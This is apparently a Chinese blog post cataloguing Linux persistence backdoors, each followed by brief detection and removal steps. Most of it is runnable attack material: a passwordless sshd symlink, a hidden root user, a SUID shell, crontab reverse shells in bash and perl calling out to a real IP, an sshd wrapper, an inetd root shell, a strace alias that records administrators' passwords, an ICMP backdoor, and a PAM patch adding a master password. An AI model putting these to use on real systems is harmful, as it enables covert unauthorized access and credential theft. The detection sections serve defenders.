目录
ssh软连接
#只有root用户才可以这种方法 #拿到root权限后执行 ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555; #任意密码连接5555端口 ssh root@106.13.124.93:5555 ssh root@106.13.124.93 -p 5555

检测:查看可疑进程 # ps aux 清除后门: 结束进程即可, # kill -s 9 PID

添加用户
root权限 一句话添加用户 useradd guest;echo 'guest:123456'|chpasswd #vi /etc/passwd 最后一行改为(要修改,不要新加一行): guest:x:0:1002:::/bin/bash 这样可以用guest-123456用户来登陆了,而且是root权限

修改/etc/sudoers文件
新建普通用户,修改sudoers文件


解决:手动编辑文件 # visudo
suid后门
root权限下: # chmod 4755 /bin/dash 这里注意一下不能是/bin/bash,因为Linux某种机制原因没有root权限。 普通用户下 执行: # /bin/dash 就能获得root权限了
检测: # find / -perm -u=s -type f 2>/dev/null # find / -user root -perm -4000 -exec ls -ldb {} \; # find / -user root -perm -4000 -print 2>/dev/null 解决:取消s权限,例如 # chmod u-s /usr/sbin/find
crontab反弹shell后门
当 /bin/sh指向/bin/dash的时候,反弹shell用bash的话必须得这样弹: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1" 这句话的意思是,这种方法仍然适合/bin/bash指向/bin/bash的主机 ubuntu中,不能指定用户名 * * * * * bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1" 或者有权限改变/bin/sh的连接指向/bin/bash后: ln -s -f /bin/bash /bin/sh 反弹shell可以用最常见的办法: * * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1 如果不用bash: */1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 其他的反弹shell方法自己探索吧
解决: # crontab -e 或者直接进目录查看文件(此目录为ubuntu,其他系统存在不同) # ls -al /var/spool/cron/crontabs/

ssh免密登录
A:106.13.124.93 B:101.132.104.215 现在B想配置免密登录连接A B: # ssh-keygen -b 4096 -t rsa 连着三次回车默认就行了,在/root/.ssh/目录下生成了两个文件,id_rsa和id_rsa.pub文件。 # cat /root/.ssh/id_rsa.pub 全部复制文件内容 A: # vi /root/.ssh/authorized_keys id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴) # chmod 600 /root/.ssh/authorized_keys # chmod 700 /root/.ssh B: # ssh -i /root/.ssh/id_rsa root@106.13.124.93

解决: 一般情况下,我们是不会去禁用免密登录的(实质上为用私钥登陆)。 所以我们只好手动查看/root/.ssh/authorized_keys文件
ssh wrapper后门
受害者主机: # cd /usr/sbin # mv sshd ../bin # echo '#!/usr/bin/perl' >sshd # echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd # echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd # chmod u+x sshd # /etc/init.d/sshd restart(在我的测试环境上是/etc/init.d/ssh restart,可以进入目录直接查看,目的是让ssh服务重启)
攻击者主机: # socat STDIO TCP4:106.13.124.93:22,sourceport=13377

检测: # ls -al /usr/sbin/sshd # cat /usr/sbin/sshd 解决: # rm -rf /usr/sbin/sshd # mv /usr/bin/sshd /usr/sbin; # /etc/init.d/ssh restart 或者直接重装ssh服务
inetd
受害者主机: # vi /etc/inetd.conf 添加内容 daytime stream tcp nowait root /bin/bash bash -i 重启 # service inetd restart

攻击者: # nc -vv 106.13.124.93(受害者ip) 13

检测:手动查看/etc/inetd.conf文件 消除后门: 修改配置文件,关闭inetd 关闭inetd后,bash的连接仍然存在,需要手动杀死进程 # kill -s 9 14264

strace后门
攻击者: 已经拿到了主机的权限,在主机的管理员用ssh命令时候,记录下密码到/tmp/.ssh.log下面 # vi /root/.bashrc 加入内容 alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh' 更新配置文件 # source /root/.bashrc

管理员的受害过程: 管理员不知道有后门,他在这台主机上连接另外一台主机 # ssh zzz@101.132.104.215 输入密码登陆成功后,/tmp/.ssh.log便记录下了zzz的密码和相关主机的ip

也可配置全局的文件,我们一开始只是给root用户配置上了 # vi /etc/bash.bashrc 生效 # source /etc/bash.bashrc 现在每个用户su的时候密码都会被记录了
su,sudo同样的道理 alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'

检测: # alias 消除: 修改配置,并且souce命令使其生效
协议后门
一般来说,主机的防火墙拦截外部来的流量到达内部某个端口,但是在一些访问严格被控制的电脑也会被限制你从内部访问外部。
icmp
使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)
工具:https://github.com/andreafabrizi/prism
icmp模式: 条件:双方能够ping通就行,建议先检查一下这个 1.受害机:192.168.3.135 # vi prism.c 设置主要有三点 define REVERSE_HOST "192.168.3.200"(攻击主机) define REVERSE_PORT 2333 (攻击主机监听的端口) define ICMP_KEY "1234"(密码) 编译 # gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c 运行 # ./prism 2.攻击机192.168.3.200 监听端口2333 # nc -lvp 2333 3.攻击机 # ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333 4.攻击机收到shell

static模式 1.攻击机101.132.104.215 # nc -lvp 9876 2.受害机:106.13.124.93 # vi prism.c(编辑内容同上) # gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c # ./prism 3.攻击机收到shell
清除 1.重启即可失效 2.把名字prism的进程全部结束 # ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9 3.关闭可疑的/bin/sh或者/bin/bash进程(断开已连接的shell) 2.3必须配合使用

PAM后门
环境:百度云 ubuntu16.04 64位 查看pam版本: # dpkg -l | grep pam 我的版本是1.18 下载未编译过的PAM:https://src.fedoraproject.org/repo/pkgs/pam/ # cd /root (下边的指令都是基于root目录) # wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2 解压: # tar xjf Linux-PAM-1.1.8 编辑后门: # /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 找到这一句: retval = _unix_verify_password(pamh, name, p, ctrl); 修改为: if (strcmp(p, "123456") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; } 123456为后门密码

编译: # cd /root/Linux-PAM-1.1.8 # ./configure # make 替换文件: # cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so 验证: 用xshell root-123456登陆成功
来源:https://www.cnblogs.com/zaqzzz/p/12099463.html